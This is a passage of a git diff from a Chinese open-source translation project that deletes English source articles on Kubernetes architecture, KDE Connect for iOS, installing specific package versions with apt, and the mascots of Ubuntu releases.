is the only place where Kubernetes stores cluster state and metadata. The only component that talks to etcd directly is the Kubernetes API server. All other components read and write data to etcd indirectly through the API server. - -Etcd also implements a watch feature, which provides an event-based interface for asynchronously monitoring changes to keys. Once you change a key, its watchers get notified. The API server component heavily relies on this to get notified and move the current state of etcd towards the desired state. - -_Why should the number of etcd instances be an odd number?_ - -You would typically have three, five, or seven etcd instances running in a high-availability (HA) environment, but why? Because etcd is a distributed data store. It is possible to scale it horizontally but also you need to ensure that the data in each instance is consistent, and for this, your system needs to reach a consensus on what the state is. Etcd uses the [RAFT consensus algorithm][4] for this. - -The algorithm requires a majority (or quorum) for the cluster to progress to the next state. If you have only two ectd instances and either of them fails, the etcd cluster can't transition to a new state because no majority exists. If you have three ectd instances, one instance can fail but still have a majority of instances available to reach a quorum. - -#### API server - -The API server is the only component in Kubernetes that directly interacts with etcd. All other components in Kubernetes must go through the API server to work with the cluster state, including the clients (kubectl). The API server has the following functions: - - * Provides a consistent way of storing objects in etcd. - * Performs validation of those objects so clients can't store improperly configured objects (which could happen if they write directly to the etcd datastore). - * Provides a RESTful API to create, update, modify, or delete a resource. - * Provides [optimistic concurrency locking][5], so other clients never override changes to an object in the event of concurrent updates. - * Performs authentication and authorization of a request that the client sends. It uses the plugins to extract the client's username, user ID, groups the user belongs to, and determine whether the authenticated user can perform the requested action on the requested resource. - * Responsible for [admission control][6] if the request is trying to create, modify, or delete a resource. For example, AlwaysPullImages, DefaultStorageClass, and ResourceQuota. - * Implements a watch mechanism (similar to etcd) for clients to watch for changes. This allows components such as the Scheduler and Controller Manager to interact with the API Server in a loosely coupled manner. - - - -#### Controller Manager - -In Kubernetes, controllers are control loops that watch the state of your cluster, then make or request changes where needed. Each controller tries to move the current cluster state closer to the desired state. The controller tracks at least one Kubernetes resource type, and these objects have a spec field that represents the desired state. - -Controller examples: - - * Replication Manager (a controller for ReplicationController resources) - * ReplicaSet, DaemonSet, and Job controllers - * Deployment controller - * StatefulSet controller - * Node controller - * Service controller - * Endpoints controller - * Namespace controller - * PersistentVolume controller - - - -Controllers use the watch mechanism to get notified of changes. They watch the API server for changes to resources and perform operations for each change, whether it's a creation of a new object or an update or deletion of an existing object. Most of the time, these operations include creating other resources or updating the watched resources themselves. Still, because using watches doesn't guarantee the controller won't miss an event, they also perform a re-list operation periodically to ensure they haven't missed anything. - -The Controller Manager also performs lifecycle functions such as namespace creation and lifecycle, event garbage collection, terminated-pod garbage collection, [cascading-deletion garbage collection][7], and node garbage collection. See [Cloud Controller Manager][8] for more information. - -#### Scheduler - -The Scheduler is a control plane process that assigns pods to nodes. It watches for newly created pods that have no nodes assigned. For every pod that the Scheduler discovers, the Scheduler becomes responsible for finding the best node for that pod to run on. - -Nodes that meet the scheduling requirements for a pod get called feasible nodes. If none of the nodes are suitable, the pod remains unscheduled until the Scheduler can place it. Once it finds a feasible node, it runs a set of functions to score the nodes, and the node with the highest score gets selected. It then notifies the API server about the selected node. They call this process binding. - -The selection of nodes is a two-step process: - - 1. Filtering the list of all nodes to obtain a list of acceptable nodes to which you can schedule the pod (for example, the PodFitsResources filter checks whether a candidate node has enough available resources to meet a pod's specific resource requests). - 2. Scoring the list of nodes obtained from the first step and ranking them to choose the best node. If multiple nodes have the highest score, a round-robin process ensures the pods get deployed across all of them evenly. - - - -Factors to consider for scheduling decisions include: - - * Does the pod request hardware/software resources? Is the node reporting a memory or a disk pressure condition? - * Does the node have a label that matches the node selector in the pod specification? - * If the pod requests binding to a specific host port, is that port available? - * Does the pod tolerate the taints of the node? - * Does the pod specify node affinity or anti-affinity rules? - - - -The Scheduler doesn't instruct the selected node to run the pod. All the Scheduler does is update the pod definition through the API server. The API server then notifies the kubelet that the pod got scheduled through the watch mechanism. Then the kubelet service on the target node sees that the pod got scheduled to its node, it creates and runs the pod's containers. - -**[ Read next: [How Kubernetes creates and runs containers: An illustrated guide][9] ]** - -### Worker node components - -Worker nodes run the kubelet agent, which permits them to get recruited by the control plane to process jobs. Similar to the control plane, the worker node uses several different components to make this possible. The following sections describe the worker node components. - -#### Kubelet - -Kubelet is an agent that runs on each node in the cluster and is responsible for everything running on a worker node. It ensures that the containers run in the pod. - -The main functions of kubelet service are: - - * Register the node it's running on by creating a node resource in the API server. - * Continuously monitor the API server for pods that got scheduled to the node. - * Start the pod's containers by using the configured container runtime. - * Continuously monitor running containers and report their status, events, and resource consumption to the API server. - * Run the container liveness probes, restart containers when the probes fail and terminate containers when their pod gets deleted from the API server (notifying the server about the pod termination). - - - -#### Service proxy - -The service proxy (kube-proxy) runs on each node and ensures that one pod can talk to another pod, one node can talk to another node, and one container can talk to another container. It is responsible for watching the API server for changes on services and pod definitions to maintain that the entire network configuration is up to date. When a service gets backed by more than one pod, the proxy performs load balancing across those pods. - -The kube-proxy got its name because it began as an actual proxy server that used to accept connections and proxy them to the pods. The current implementation uses iptables rules to redirect packets to a randomly selected backend pod without passing them through an actual proxy server. - -A high-level view of how it works: - - * When you create a service, a virtual IP address gets assigned immediately. - * The API server notifies the kube-proxy agents running on worker nodes that a new service exists. - * Each kube-proxy makes the service addressable by setting up iptables rules, ensuring each service IP/port pair gets intercepted and the destination address gets modified to one of the pods that back the service. - * Watches the API server for changes to services or its endpoint objects. - - - -#### Container runtime - -There are two categories of container runtimes: - - * **Lower-level container runtimes:** These focus on running containers and setting up the namespace and cgroups for containers. - * **Higher-level container runtimes (container engine):** These focus on formats, unpacking, management, sharing of images, and providing APIs for developers. - - - -Container runtime takes care of: - - * Pulls the required container image from an image registry if it's not available locally. - * Extracts the image onto a copy-on-write filesystem and all the container layers overlay to create a merged filesystem. - * Prepares a container mount point. - * Sets the metadata from the container image like overriding CMD, ENTRYPOINT from user inputs, and sets up SECCOMP rules, ensuring the container runs as expected. - * Alters the kernel to assign isolation like process, networking, and filesystem to this container. - * Alerts the kernel to assign some resource limits like CPU or memory limits. - * Pass system call (syscall) to the kernel to start the container. - * Ensures that the SElinux/AppArmor setup is proper. - - - -### Working together - -System-level components work together to ensure that each part of a Kubernetes cluster can realize its purpose and perform its functions. It can sometimes be overwhelming (when you're deep into editing a [YAML file)][10] to understand how your requests get communicated within your cluster. Now that you have a map of how the pieces fit together, you can better understand what's happening inside Kubernetes, which helps you diagnose problems, maintain a healthy cluster, and optimize your own workflow. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/2/kubernetes-architecture - -作者:[Nived Velayudhan][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/nivedv -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) -[2]: https://opensource.com/sites/default/files/uploads/kubernetes-architecture-diagram.png (Kubernetes architecture diagram) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://www.geeksforgeeks.org/raft-consensus-algorithm/ -[5]: https://stackoverflow.com/questions/52910322/kubernetes-resource-versioning#:~:text=Optimistic%20concurrency%20control%20(sometimes%20referred,updated%2C%20the%20version%20number%20increases. -[6]: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/ -[7]: https://kubernetes.io/docs/concepts/architecture/garbage-collection/ -[8]: https://kubernetes.io/docs/concepts/architecture/cloud-controller/ -[9]: https://www.redhat.com/architect/how-kubernetes-creates-runs-containers -[10]: https://www.redhat.com/sysadmin/yaml-beginners diff --git a/sources/tech/20220510 Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store.md b/sources/tech/20220510 Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store.md deleted file mode 100644 index d1344560db..0000000000 --- a/sources/tech/20220510 Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: subject: "Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store" -[#]: via: "https://news.itsfoss.com/kde-connect-ios/" -[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store -====== -The impressive open-source client to help connect mobiles with computers is now available for iPhones and iPad. Try it out! - -![kde connect][1] - -KDE Connect is an open-source tool that lets you connect your mobile phone with your PC. - -Originally, KDE Connect supported Android devices to connect with Linux. Gradually, they added support for Windows. - -Now, it looks like you can use KDE Connect with your iOS device (iPhone or iPad) to connect to your Windows/Linux computer. - -Note that macOS is also in the list of supported platforms. However, it is still an early release version for macOS. So, it may not work as good as it does with other platforms. - -### KDE Connect on the App Store - -![][2] - -We did not notice any official announcement for this. However, some users spotted KDE Connect being available on the [App Store for iOS users][3] right after the release of [version 0.2.1][4]. - -The App Store lists all the essential features including: - -* Shared clipboard: to copy/paste between devices. -* Ability to share files and URLs to your computer from any app. -* Use your phone screen as your computer’s touchpad (visual touchpad). -* Remote presentation remote mode. -* Run commands on your computer from your phone -* End-to-end TLS encryption for security. - -While this remains as an open-source app, the app licensing is a bit different as spotted by [OMGUbuntu][5] to comply with App Store guidelines. - -It is also worth noting that the feature set may not be the same as its Android counterpart, but at least we finally have KDE Connect for iOS users, making it a truly open-source cross-plaform solution to connect mobiles with computers. - -I’d be comfortable recommending KDE Connect to anyone who wants to keep things in check with their mobile through computers. - -Head to the app store from the button below to get started installing it. You can also find various other installation options for different supported platforms on its [official download page][6]. - -Have you tried KDE Connect on iOS yet? Let me know your thoughts in the comments. - --------------------------------------------------------------------------------- - -via: https://news.itsfoss.com/kde-connect-ios/ - -作者:[Ankush Das][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://news.itsfoss.com/author/ankush/ -[b]: https://github.com/lkxed -[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/kde-connect-on-iphone-ipad.jpg -[2]: https://news.itsfoss.com/wp-content/uploads/2022/05/kde-connect-ios.jpg -[3]: https://apps.apple.com/id/app/kde-connect/id1580245991 -[4]: https://invent.kde.org/network/kdeconnect-ios/-/commit/43d2ecbbb7e4e70274849f5ec987721318eb9f57 -[5]: https://www.omgubuntu.co.uk/2022/05/kde-connect-iphone-app-available -[6]: https://kdeconnect.kde.org/download.html diff --git a/sources/tech/20220518 Install Specific Package Version With Apt Command in Ubuntu.md b/sources/tech/20220518 Install Specific Package Version With Apt Command in Ubuntu.md deleted file mode 100644 index c88a655218..0000000000 --- a/sources/tech/20220518 Install Specific Package Version With Apt Command in Ubuntu.md +++ /dev/null @@ -1,191 +0,0 @@ -[#]: subject: "Install Specific Package Version With Apt Command in Ubuntu" -[#]: via: "https://itsfoss.com/apt-install-specific-version-2/" -[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" -[#]: collector: "lkxed" -[#]: translator: "robsean" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Install Specific Package Version With Apt Command in Ubuntu -====== - -Want to install a specific version of a package in Ubuntu? You can do that ‘easily’ in the following manner: - -``` -sudo apt install package_name=package_version -``` - -How do you know which versions are available for a certain package? Use this command: - -``` -apt list --all-versions package_name -``` - -In the screenshot below, you can see that I have two versions of VLC available and I use the command to install the older version: - -![install specific versions apt ubuntu][1] - -Sounds like a simple task, right? But things are not as simple as they look. There are several ifs and buts involved here. - -This tutorial will cover all the important aspects of installing a specific program version using apt or apt-get commands. - -### Things to know about installing a specific version of a program - -You need to know a few things about how APT and repositories work in Ubuntu and Debian-based distributions. - -#### No older versions from the same source - -Ubuntu doesn’t keep older versions of packages in the repository. You may see more than one version in specific cases, temporarily. For example, you run the apt update (but not upgrade), and a new version is available. You may see two versions for the same package in the apt cache. But as soon as the package is upgraded to the new version, the older version is removed from the cache as well as the repositories. - -#### Use multiple sources for different versions - -To get multiple versions of the same package, you’ll have to add multiple sources. For example, VLC is in version 3.x. Adding the [VLC daily build PPA][2] will give the (unstable) version 4.x. - -Similarly, **you can download a DEB file with a different version and install it**. - -#### The higher version always gets the priority - -If you have the same package available from more than one source, by default, Ubuntu will install the highest available version. - -In the previous example, if I install VLC, it will install version 4.x, not 3.x. - -#### The older version gets upgraded to the available newer version - -That’s another potential problem. Even if you install the older version of a package, it gets upgraded to the newer version (if available). You have to [hold the package and stop it from upgrading][3]. - -#### Dependencies also need to be installed - -If the package has dependencies, you’ll have to install the required version of the dependent packages as well. - -Now that you know a few potential issues let’s see how to tackle them. - -### Installing specific version of a package - -I am taking the example of VLC in this tutorial. VLC version 3.0.16 is available in Ubuntu’s repositories. I added the daily build PPA and that gives me the release candidate of VLC version 4.0. - -As you can see, I have two VLC versions available in the system right now: - -![install specific versions apt ubuntu][4] - -``` -[email protected]:~$ apt list -a vlc -Listing... Done -vlc/jammy 4.0.0~rc1~~git20220516+r92284+296~ubuntu22.04.1 amd64 -vlc/jammy 3.0.16-1build7 amd64 -vlc/jammy 3.0.16-1build7 i386 -``` - -Since the higher version takes priority, using ‘apt install vlc’ will result in the installation of VLC 4.0. But I want to install the older version 3.0.16 for the sake of this tutorial. - -``` -sudo apt install vlc=3.0.16-1build7 -``` - -But here’s the thing. The vlc package has several dependencies and those dependencies also need specific versions. However, Ubuntu tries to install the available higher versions for them, and thus, you get the classic ‘[you have held broken packages][5]‘ error. - -![problem installing specific version apt ubuntu][6] - -To fix this, you have to provide specific versions of all the dependent packages it complains about. So that command becomes something like this: - -``` -sudo apt install vlc=3.0.16-1build7 \ - vlc-bin=3.0.16-1build7 \ - vlc-plugin-base=3.0.16-1build7 \ - vlc-plugin-qt=3.0.16-1build7 \ - vlc-plugin-video-output=3.0.16-1build7 \ - vlc-l10n=3.0.16-1build7 \ - vlc-plugin-access-extra=3.0.16-1build7 \ - vlc-plugin-notify=3.0.16-1build7 \ - vlc-plugin-samba=3.0.16-1build7 \ - vlc-plugin-skins2=3.0.16-1build7 \ - vlc-plugin-video-splitter=3.0.16-1build7 \ - vlc-plugin-visualization=3.0.16-1build7 -``` - -In case you are wondering, the trailing \ at the end of each line is just a way to write a single command over multiple lines. - -**Does it work? In many cases, it will.** But I have chosen a complicated example of VLC, which has lots of dependencies. Even the mentioned dependencies have dependencies on other packages. It gets messy. - -An alternative is to specify the source while installing. - -#### Alternatively, specify the repository source - -You have added multiple sources, so you should have some idea about the sources the package comes from. - -Use the command below and search for the repository: - -``` -apt-cache policy | less -``` - -Focus on the lines that come after the repository name: - -``` -500 http://security.ubuntu.com/ubuntu jammy-security/multiverse i386 Packages - release v=22.04,o=Ubuntu,a=jammy-security,n=jammy,l=Ubuntu,c=multiverse,b=i386 - origin security.ubuntu.com -``` - -You can specify the o,l,a, etc parameters. - -In my original example, I want to install VLC from Ubuntu’s repository (to get 3.16) instead of the PPA (which gives me 4). - -So the command below will install VLC 3.16 along with all the dependencies: - -``` -sudo apt install -t "o=ubuntu" vlc -``` - -![install from repository source][7] - -Looks good? But the problem comes when you have to update the system. Then it complains about not finding the specified version. - -**What else can be done?** - -To install an older version, remove the source of the newer version from your system (if possible). It helps get rid of the dependencies hell issues. - -If that’s not possible, check if you can get it in some other packaging formats like Snap, Flatpak, AppImage, etc. In fact, Snap and Flatpak also allow you to choose and install from available versions. Since the applications are sandboxed, it’s easier to manage the dependencies for different versions. - -#### Hold the package and prevent upgrade - -If you manage to install a specific program version, you may want to avoid accidentally upgrading to the newer version. It’s not too complicated to achieve this. - -``` -sudo apt-mark hold package_name -``` - -You can remove the hold so that it can be upgraded later: - -``` -sudo apt-mark unhold package_name -``` - -Note that dependencies of a package are not automatically held. They need to be individually mentioned. - -### Conclusion - -As you can see, there is a provision to install the selected version of a program. Things only get complicated if the package has dependencies. Then you get into the dependency hell. - -I hope you learned a few new things in this tutorial. If you have questions or suggestions to improve it, please let me know in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/apt-install-specific-version-2/ - -作者:[Abhishek Prakash][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lkxed -[1]: https://itsfoss.com/wp-content/uploads/2022/05/install-specific-versions-apt-ubuntu.png -[2]: https://launchpad.net/~videolan/+archive/ubuntu/master-daily -[3]: https://itsfoss.com/prevent-package-update-ubuntu/ -[4]: https://itsfoss.com/wp-content/uploads/2022/05/install-specific-versions-apt-ubuntu.png -[5]: https://itsfoss.com/held-broken-packages-error/ -[6]: https://itsfoss.com/wp-content/uploads/2022/05/problem-installing-specific-version-apt-ubuntu-800x365.png -[7]: https://itsfoss.com/wp-content/uploads/2022/05/install-from-repository-source-800x578.png diff --git a/sources/tech/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md b/sources/tech/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md deleted file mode 100644 index 096deb298b..0000000000 --- a/sources/tech/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md +++ /dev/null @@ -1,461 +0,0 @@ -[#]: subject: "For the Love of Ubuntu: Here are the Mascots of All Ubuntu Releases" -[#]: via: "https://itsfoss.com/all-Ubuntu-mascots/" -[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -For the Love of Ubuntu: Here are the Mascots of All Ubuntu Releases -====== -This is a collection of the mascots of all the Ubuntu releases so far. - -You may have noticed that every Ubuntu release has a version name and codename. The codename is composed of two words that start with the same letter. The first word is an adjective, and the other one is (usually) an (endangered) species. - -These releases also have a mascot for those codenames. Ubuntu 22.04 is codenamed Jammy Jellyfish and hence the Jellyfish mascot on its wallpaper. - -These ‘mascots’ were not always part of Ubuntu releases. The codenames were always there, but not the mascots. - -The first-ever Ubuntu release was version 4.10 in October 2004. But it wasn’t until the Ubuntu 8.04 LTS ‘Hardy Heron’ release that you saw the associated mascot. - -Earlier, I complied the [list of the default wallpapers of all Ubuntu releases][1]. In this one, you get to look at the mascots of those releases. - -Let’s hop on to Ubuntu’s mascot journey in reverse chronological order. - -### Ubuntu 22.04 Jammy Jellyfish - -![Ubuntu 22.04 mascot][2] - -Released on 21 April 2021. - -Jammy means covered with, filled with, or resembling jam. Informally, it also means lucky. - -Jellyfish are mainly free-swimming marine animals with umbrella-shaped bells and trailing tentacles, although a few are anchored to the seabed by stalks rather than being mobile. - -### Ubuntu 21.10 Impish Indri - -![Ubuntu 21.10 mascot][3] - -Released on 14 October 2021. - -Impish means showing no respect for somebody/something in a way that is amusing rather than serious. - -The Indri, also called the babakoto, is one of the largest living lemurs, with a head-and-body length of about 64–72 cm and a weight of between 6 and 9.5 kg. It has a black and white coat and maintains an upright posture when climbing or clinging - -### Ubuntu 21.04 Hirsute Hippo - -![Ubuntu 21.04 mascot][4] - -Released on 22 April 2021. - -Hirsute means hairy. - -The hippopotamus, also called the hippo, common hippopotamus, or river hippopotamus, is a large semiaquatic mammal native to sub-Saharan Africa. It is one of only two extant species in the family Hippopotamidae, the other being the pygmy hippopotamus. Its name comes from the ancient Greek for “river horse”. - -Not sure if I have seen many hairy hippo. - -### Ubuntu 20.10 Groovy Gorilla - -![Ubuntu 20.10 mascot][5] - -Released on 22 October 2020. - -Groovy means fashionable and exciting. - -Gorillas are herbivorous, predominantly ground-dwelling great apes that inhabit the tropical forests of equatorial Africa. The genus Gorilla is divided into two species: the eastern gorilla and the western gorilla, and either four or five subspecies. - -### Ubuntu 20.04 LTS Focal Fossa - -![Ubuntu 20.04 mascot 1][6] - -Released on 23 April 2020. - -Focal means something providing a focus, important in other meaning. - -The fossa (Cryptoprocta ferox) is **the largest carnivorous mammal on the island of Madagascar**. They can reach nearly six feet in length, with half of that due to their long tails. They look like a cross between a cat, a dog, and a mongoose. Fossas have slender bodies, muscular limbs, and short, reddish-brown coats. - -### Ubuntu 19.10 Eoan Ermine - -![Ubuntu 19.10 mascot][7] - -Released on 17 October 2019. - -Eoan means relating to dawn or east. - -The stoat or short-tailed weasel, also known as the Eurasian ermine, Beringian ermine, or simply ermine, is a mustelid native to Eurasia and the northern portions of North America. Because of its wide circumpolar distribution, it is listed as Least Concern on the IUCN Red List. - -### Ubuntu 19.04 Disco Dingo - -![Ubuntu 19.04 mascot][8] - -Released on 18 April 2019. - -Disco relates to the disco music and nightclubs. - -The dingo is an ancient lineage of dog found in Australia. Its taxonomic classification is debated as indicated by the variety of scientific names presently applied in different publications. - -### Ubuntu 18.10 Cosmic Cuttlefish - -![Ubuntu 18.10 mascot][9] - -Released on 18 October 2018. - -Cosmic means something distinct from the earth, - -Cuttlefish or cuttles are marine molluscs of the order Sepiida. They belong to the class Cephalopoda, which also includes squid, octopuses, and nautiluses. Cuttlefish have a unique internal shell, the cuttlebone, which is used for control of buoyancy. - -### Ubuntu 18.04 LTS Bionic Beaver - -![Ubuntu 18.04 mascot][10] - -Released on 26 April 2018. - -Bionic means having or denoting an artificial, typically electromechanical, body part or parts. - -Beavers are large, semiaquatic rodents in the genus Castor native to the temperate Northern Hemisphere. There are two extant species: the North American beaver and the Eurasian beaver. Beavers are the second-largest living rodents after the capybaras. - -The British users found this release name particularly amusing. - -### Ubuntu 17.10 Artful Aardvark - -![Ubuntu 17.10 mascot][11] - -Released on 19 October 2017. - -Ubuntu switched back to GNOME by default with this release. - -Artful means cleaver or carfty. - -The aardvark is a medium-sized, burrowing, nocturnal mammal native to Africa. It is the only living species of the order Tubulidentata, although other prehistoric species and genera of Tubulidentata are known. Unlike most other insectivores, it has a long pig-like snout, which is used to sniff out food. - -### Ubuntu 17.04 Zesty Zapus - -![Ubuntu 17.04 mascot][12] - -Released on 13 April 2017. - -Last release to feature the Unity desktop. - -Zesty means having a strong, pleasant, and somewhat spicy flavor. - -Zapus is a genus of North American jumping mouse. It is the only genus whose members have the dental formula. Zapus are the only extant mammals aside from the Aye-aye with a total of 18 teeth. - -### Ubuntu 16.10 Yakkety Yak - -![Ubuntu 16.10 mascot][13] - -Released on 13 October 2016. - -‘Yakkety’ could mean a lot of things. While ‘yakking’ is an informal term for talking a lot, ‘yakkety’ could be an alternative spelling of ‘Yakety’ Sax — a well known pop-jazz musical instrument, says OMGUbuntu!. - -Yak is a large domesticated wild ox with shaggy hair, humped shoulders, and large horns, used in Tibet as a pack animal and for its milk, meat, and hide. - -### Ubuntu 16.04 LTS Xenial Xerus - -![Ubuntu 16.04 mascot][14] - -Released on 21 April 2016. - -Xenial means something related to hospitality. - -The Xerus has four subspecies – **cape ground squirrel, striped ground squirrel, mountain ground squirrel, and unstriped ground squirrel**. These animals are diurnal and are usually known to be herbivores in nature and usually eat nuts, roots, and seeds. However, sometimes they also eat eggs and other small animals. - -### Ubuntu 15.10 Wily Werewolf - -![Ubuntu 15.10 mascot][15] - -Released on 22 October 2015. - -Perhaps one of the rare Ubuntu releases that had a finctional character in its codename, unless you don’t consider warewolves fictional. - -Wily means skilled at gaining an advantage, especially deceitfully. - -The werewolves are mythical creatures that can hide their ears and tail. It is a human but also a wolf, and most people fear them because of how they look. - -### Ubuntu 15.04 Vivid Vervet - -![Ubuntu 15.04 mascot][16] - -Released on 23 April 2015. - -Vivid means intensely deep or bright.. - -The vervet monkey, or simply vervet, is an Old World monkey of the family Cercopithecidae native to Africa. The term “vervet” is also used to refer to all the members of the genus Chlorocebus. The five distinct subspecies can be found mostly throughout Southern Africa, as well as some of the eastern countries. - -### Ubuntu 14.10 Utopic Unicorn - -![Ubuntu 14.10 mascot][17] - -Released on 23 October 2014. - -Another of the Ubuntu release with fictional animal in its release codename unless you consider Unicrons are real. - -Utopic relates to utopia which is a fictional, impractical but ideal place. - -The **unicorn** is a legendary creature that has been described since antiquity as a beast with a single large, pointed, spiraling horn projecting from its forehead. - -### Ubuntu 14.04 LTS Trusty Tahr - -![Ubuntu 14.04 mascot][18] - -Released on 17 April 2014. - -Trusty means reliable or faithful. - -Tahr is a goatlike mammal that inhabits cliffs and mountain slopes in Oman, southern India, and the Himalayas. - -### Ubuntu 13.10 Saucy Salamander - -![Ubuntu 13.10 mascot][19] - -Released on 17 October 2013. - -Saucy means expressing in a bold, lively, or spirited manner. - -Salamanders are a group of amphibians typically characterized by their lizard-like appearance, with slender bodies, blunt snouts, short limbs projecting at right angles to the body, and the presence of a tail in both larvae and adults. All ten extant salamander families are grouped together under the order Urodela. - -### Ubuntu 13.04 Raring Ringtail - -![Ubuntu 13.04 mascot][20] - -Released on 25 April 2013. - -Raring means very enthusiastic and eager to do something. - -The Ringtail is **a cat-sized carnivore resembling a small fox with a long raccoonlike tail**. Its bushy tail is flattened and nearly as long as the head and body, with alternating black and white rings. These animals are almost wholly nocturnal and spend the majority of the day sleeping in their dens. - -### Ubuntu 12.10 Quantal Quetzal - -![Ubuntu 12.10 mascot][21] - -Released on 18 October 2012. - -Quantal means relating to a quantum or quanta, or to quantum theory. - -**Quetzals** are strikingly colored birds in the trogon family. They are found in forests, especially in humid highlands, with the five species from the genus *Pharomachrus* being exclusively Neotropical, while a single species, the eared quetzal, *Euptilotis neoxenus*, is found in Mexico and very locally in the southernmost United States. Quetzals are fairly large (all over 32 cm or 13 inches long), slightly bigger than other trogon species. The resplendent quetzal is the national bird of Guatemala because of its vibrant colour. - -### Ubuntu 12.04 LTS Precise Pangolin - -![Ubuntu 12.04 mascot][22] - -Released on 26 April 2012. - -Precise means marked by exactness and accuracy of expression or detail. - -Pangolins, sometimes known as scaly anteaters, are mammals of the order Pholidota. The one extant family, the Manidae, has three genera: Manis, Phataginus, and Smutsia. Manis comprises the four species found in Asia, while Phataginus and Smutsia include two species each, all found in sub-Saharan Africa. - -### Ubuntu 11.10 Oneiric Ocelot - -![Ubuntu 11.10 mascot][23] - -Released on 13 October 2011. - -Onerice relates to dreams or dreaming. - -The ocelot (Leopardus pardalis) is a medium-sized spotted wild cat that reaches 40–50 cm (15.7–19.7 in) at the shoulders and weighs between 8 and 15.5 kg (17.6 and 34.2 lb). It was first described by Carl Linnaeus in 1758. - -### Ubuntu 11.04 Natty Narwhal - -![Ubuntu 11.04 mascot][24] - -Released on 28 April 2011. - -The first release to feature the Unity desktop. - -Natty means smart and fashionable. - -The narwhal, also known as a narwhale, is a medium-sized toothed whale that possesses a large “tusk” from a protruding canine tooth. It lives year-round in the Arctic waters around Greenland, Canada and Russia. It is one of two living species of whale in the family Monodontidae, along with the beluga whale. - -### Ubuntu 10.10 Maverick Meerkat - -![Ubuntu 10.10 mascot][25] - -Released on 10 October 2010. - -Maverick means an unorthodox or independent-minded person. - -The meerkat or suricate is a small mongoose found in southern Africa. It is characterised by a broad head, large eyes, a pointed snout, long legs, a thin tapering tail, and a brindled coat pattern. - -### Ubuntu 10.04 LTS Lucid Lynx - -![Ubuntu 10.04 mascot][26] - -Released on 29 April 2010. - -Lucid means easy to understand or bright. - -A lynx is any of the four species within the medium-sized wild cat genus Lynx. The name lynx originated in Middle English via Latin from the Greek word λύγξ, derived from the Indo-European root leuk- in reference to the luminescence of its reflective eyes. - -### Ubuntu 9.10 Karmic Koala - -![Ubuntu 9.10 mascot][27] - -Released on 29 October 2009. - -Karmic means relating to or characteristic of karma. - -The koala or, inaccurately, koala bear is an arboreal herbivorous marsupial native to Australia. It is the only extant representative of the family Phascolarctidae and its closest living relatives are the wombats. - -### Ubuntu 9.04 Jaunty Jackalope - -![Ubuntu 9.04 mascot][28] - -Released on 23 April 2009. - -The first Ubuntu version I ever used. - -Jaunty means having or expressing a lively, cheerful, and self-confident manner. - -The jackalope is **a mythical animal of North American folklore, in the category of fearsome critters, described as a jackrabbit with antelope horns**. The word jackalope is a portmanteau of jackrabbit and antelope. Many jackalope taxidermy mounts, including the original, are made with deer antlers. - -### Ubuntu 8.10 Intrepid Ibex - -![Ubuntu 8.10 mascot][29] - -Released on 30 October 2008. - -Intrepid means fearless; adventurous. - -An ibex is any of several species of wild goat, distinguished by the male’s large recurved horns, which are transversely ridged in front. Ibex are found in Eurasia, North Africa and East Africa. - -### Ubuntu 8.04 LTS Hardy Heron - -![Ubuntu 8.04 mascot][30] - -Released on 24 April 2008. - -The first Ubuntu release where the mascot appeared on its default wallpaper. - -Hardy means capable of enduring difficult conditions; robust. - -The herons are long-legged, long-necked, freshwater and coastal birds - -### Ubuntu 7.10 Gutsy Gibbon - -![Ubuntu 7.10 mascot][31] - -Released on 18 October 2007. - -Gusty is characterized by or blowing in gusts. - -Gibbons are apes live in subtropical and tropical rainforest from eastern Bangladesh to Northeast India to southern China and Indonesia - -### Ubuntu 7.04 Feisty Fawn - -![Ubuntu 7.04 mascot][32] - -Released on 19 April 2007. - -Feisty means small but determined. Fawn is a young deer in its first year. - -### Ubuntu 6.10 Edgy Eft  - -![Ubuntu 6.10 mascot][33] - -Released on 26 October 2006. - -Edgy means tense or nervous. - -Eft is the terrestrial juvenile phase of newt. A newt is a type of salamander (a type of lizard). This newt has three distinct developmental life stages: aquatic larva, terrestrial juvenile (eft), and adult. - -So basically eft is a teenaged newt :) - -### Ubuntu 6.06 Dapper Drake - -![Ubuntu 6.06 mascot][34] - -Released on 1 June 2006. - -Dapper means neat and trim in dress and appearance. Drake is a fully sexually mature adult male duck of any duck species. - -### Ubuntu 5.10 Breezy Badger - -![Ubuntu 5.10 mascot][35] - -Released on 12 October 2005. - 